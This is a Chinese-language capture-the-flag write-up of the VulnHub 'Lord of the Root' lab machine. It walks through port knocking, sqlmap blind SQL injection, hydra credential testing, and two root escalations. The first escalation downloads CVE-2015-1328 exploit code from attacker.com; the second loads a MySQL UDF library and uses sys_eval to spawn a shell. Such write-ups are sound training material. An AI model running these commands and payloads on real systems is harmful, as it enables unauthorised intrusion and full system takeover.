从敲门到提权:手把手复现VulnHub《Lord of the Root》靶机(含CVE-2015-1328与MySQL UDF两种提权实战)
从敲门到提权VulnHub《Lord of the Root》靶机深度实战解析在网络安全领域靶机渗透测试是提升实战能力的重要途径。VulnHub平台上的《Lord of the Root》靶机以其精巧的设计和多重提权路径成为中阶渗透测试者的理想训练场。本文将带你完整复现从初始信息收集到最终获取root权限的全过程重点解析两种截然不同的提权技术内核漏洞利用CVE-2015-1328和MySQL UDF提权。1. 靶机环境与初始侦察1.1 靶机基本信息《Lord of the Root》是基于Ubuntu 14.04.1系统的CTF靶机内核版本为Linux 3.19.0。靶机设计灵感来源于《指环王》系列包含多个需要破解的关卡最终目标是获取root权限并找到flag.txt文件。关键特征初始仅开放SSH服务22端口采用端口敲门Port Knocking机制隐藏真实服务Web应用存在基于时间的SQL盲注漏洞提供两种完全独立的提权路径1.2 基础信息收集使用nmap进行初始扫描时发现靶机仅开放22端口nmap -sS -p- 192.168.1.100扫描结果显示SSH服务运行正常但连接时得到神秘提示knock ftiend to enter Easy as 1,2,32. 端口敲门与隐藏服务发现2.1 端口敲门技术解析端口敲门是一种安全机制要求客户端按特定顺序敲击尝试连接一系列关闭的端口服务器才会开放真正的服务端口。在本靶机中敲门顺序为1,2,3端口。实现原理防火墙监控对特定关闭端口的连接尝试当检测到正确的端口序列时动态修改规则开放目标端口服务仅在敲门成功后短暂可用2.2 实际操作步骤使用knock工具执行敲门序列knock -v 192.168.1.100 1 2 3敲门成功后再次扫描会发现新开放的1337端口nmap -sS -p- 192.168.1.1003. Web应用渗透与SQL盲注利用3.1 Web应用分析访问1337端口的Web服务页面显示《指环王》主题图片。通过以下步骤发现隐藏路径查看页面源代码发现Base64编码字符串经过两次解码得到路径/978345210/index.php该路径为登录界面存在SQL注入漏洞3.2 基于时间的盲注实战使用sqlmap自动化检测和利用盲注漏洞sqlmap -o -u http://192.168.1.100:1337/978345210/index.php --forms --dbs关键操作流程枚举数据库--dbs参数选择Webapp数据库-D Webapp枚举表--tables提取Users表数据-T Users --dump获取的凭据包括frodo:iwilltaketheringsmeagol:MyPreciousR00taragorn:AndMySwordlegolas:AndMyBowgimli:AndMyAxe3.3 SSH登录验证使用hydra验证凭据有效性hydra -L users.txt -P passwords.txt ssh://192.168.1.100确认有效凭据为smeagol/MyPreciousR00t成功获取初始shell访问。4. 内核漏洞提权CVE-2015-13284.1 漏洞背景OverlayFS是Linux内核中的联合文件系统实现CVE-2015-1328影响3.19.0及以下版本的内核。该漏洞允许本地用户通过特殊构造的文件操作获取root权限。漏洞原理OverlayFS未正确处理文件权限检查攻击者可利用符号链接特性绕过权限限制最终实现任意文件写入提升至root权限4.2 漏洞利用步骤确认系统信息uname -a cat /etc/issue搜索可用漏洞利用代码searchsploit linux 3.19.0下载并编译利用代码wget http://attacker.com/39166.c -O exploit.c cc exploit.c -o exploit chmod x exploit执行提权./exploit验证root权限id cat /root/flag.txt5. MySQL UDF提权技术5.1 技术背景MySQL UDF用户定义函数提权利用数据库的高权限执行系统命令。当MySQL以root身份运行时成功加载恶意UDF可获取系统root权限。前提条件MySQL以root身份运行secure_file_priv参数未限制文件导入具有数据库高权限账户5.2 实战操作流程确认MySQL运行权限ps -ef | grep mysql获取数据库凭据从Web应用配置文件中发现cat /var/www/978345210/login.php检查安全设置SHOW VARIABLES LIKE secure_file_priv;确认系统架构SHOW VARIABLES LIKE %version%;准备UDF文件32位系统使用cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .MySQL中创建函数CREATE TABLE temp(data LONGBLOB); INSERT INTO temp VALUES(LOAD_FILE(/tmp/lib_mysqludf_sys_32.so)); SELECT data FROM temp INTO DUMPFILE /usr/lib/mysql/plugin/udf32.so; CREATE FUNCTION sys_eval RETURNS STRING SONAME udf32.so;执行系统命令SELECT sys_eval(id);获取root shellSELECT sys_eval(find / -name 1.txt -exec /bin/sh -p \;);6. 两种提权技术的对比分析特性内核漏洞提权MySQL UDF提权前提条件特定内核版本MySQL以root运行且可写插件目录可靠性高直接内核级漏洞中依赖数据库配置隐蔽性低产生明显痕迹较高可通过日志清理隐藏适用场景本地已获取普通用户shell拥有数据库高权限账户防御措施内核补丁更新限制MySQL运行权限和文件操作复杂度中等需编译利用代码高需多步骤操作在实际渗透测试中内核漏洞提权通常更为直接有效但现代系统已广泛修补常见内核漏洞。MySQL UDF提权则更依赖特定配置但在符合条件的环境中仍极具威胁。